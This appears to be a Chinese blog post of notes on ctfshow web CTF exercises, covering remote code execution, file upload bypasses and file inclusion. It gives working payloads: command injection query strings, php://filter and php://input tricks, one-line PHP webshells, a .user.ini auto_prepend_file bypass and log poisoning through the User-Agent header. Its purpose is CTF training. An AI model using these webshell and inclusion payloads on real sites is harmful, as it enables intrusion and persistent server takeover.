ctfshow web刷题记录

发布于:2025-03-17 ⋅ 阅读:(14) ⋅ 点赞:(0)

RCE

第一题

eval代码执行 : 1、使用system 加通配符过滤

?c=system("tac%20fl*") ;

2、反字节执行      `xxx`

%20

echo + 反字节

3、变量转移

重新定义一个变量 让他代替我们执行

4、伪协议玩法

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

或者直接写入木马 file_put_contents(11.php,"<?php eval($_POST['cmd'])?>");

5、拷贝

?c=system("cp fla* 1.txt")

访问1.txt

复习完练习一个

代码执行

当然还是可以使用伪协议

复习之

文件上传漏洞

ctfshow练习

看介绍是前端的验证 :

玩法 :欺骗前端验证

使用gzl生成一个

改为 jpg后缀 之后上传

知道密码之后如果木马是post方式的传输就能使用这个post口直接进行传输

2、

后端的验证要严密 :

为了防止后端验证文件头 所以写个假的文件头 让它去验证

利用第一个的老套路居然上传成功了这是我没想到的

3、黑名单绕过 :

我们上传的文件只有png能上传成功说明是后端的waf

改一下ini为png后缀一会再改名 .user.ini

写入 :

auto_prepend_file=shell.png

上传一个 木马文件 shell.png

记住在 /upload下执行命令

文件包含

主要涉及到文件的读取,写入,代码执行

1个题全部展示

文件的读取 :

file=php://filter/read=convert.base64-encode/resource=flag.php

把这个base64解密就出来了

2、文件的写入

换一个单词就能用

在post中写入就行 但是这个的条件是有 file_put_contents

这个好用:

php://input

POST <?php fputs(fopen("shell.php","w") , '<?php @eval($_POST["pass"])?>')?>

文件的写入在ctf中非常麻烦所以不常用 同时上边文件的读取不知道 flag 的位置瞎猜也是非常难受 所以下边这个 命令执行非常牛x

3、命令执行

上边的写入其实就是命令的执行啊

php://input 加post就是这种

写上之后就能执行命令了很强

再一个就是 data 协议

利用data协议实现代码执行

使用加密

还有一个就是 文件包含的唯一真神 只要看着一堆 waf 绕不过了 直接使用

非常不吃操作

只需要记住 不同2个中间件的日志

apache : /www/log/apache/access.log

nginx : /www/log/nginx/access.log

怎么判断是哪个?

根据报错发现我们的路径错误了

抓个包 改一下这个ua头信息为恶意的木马

就成功注入了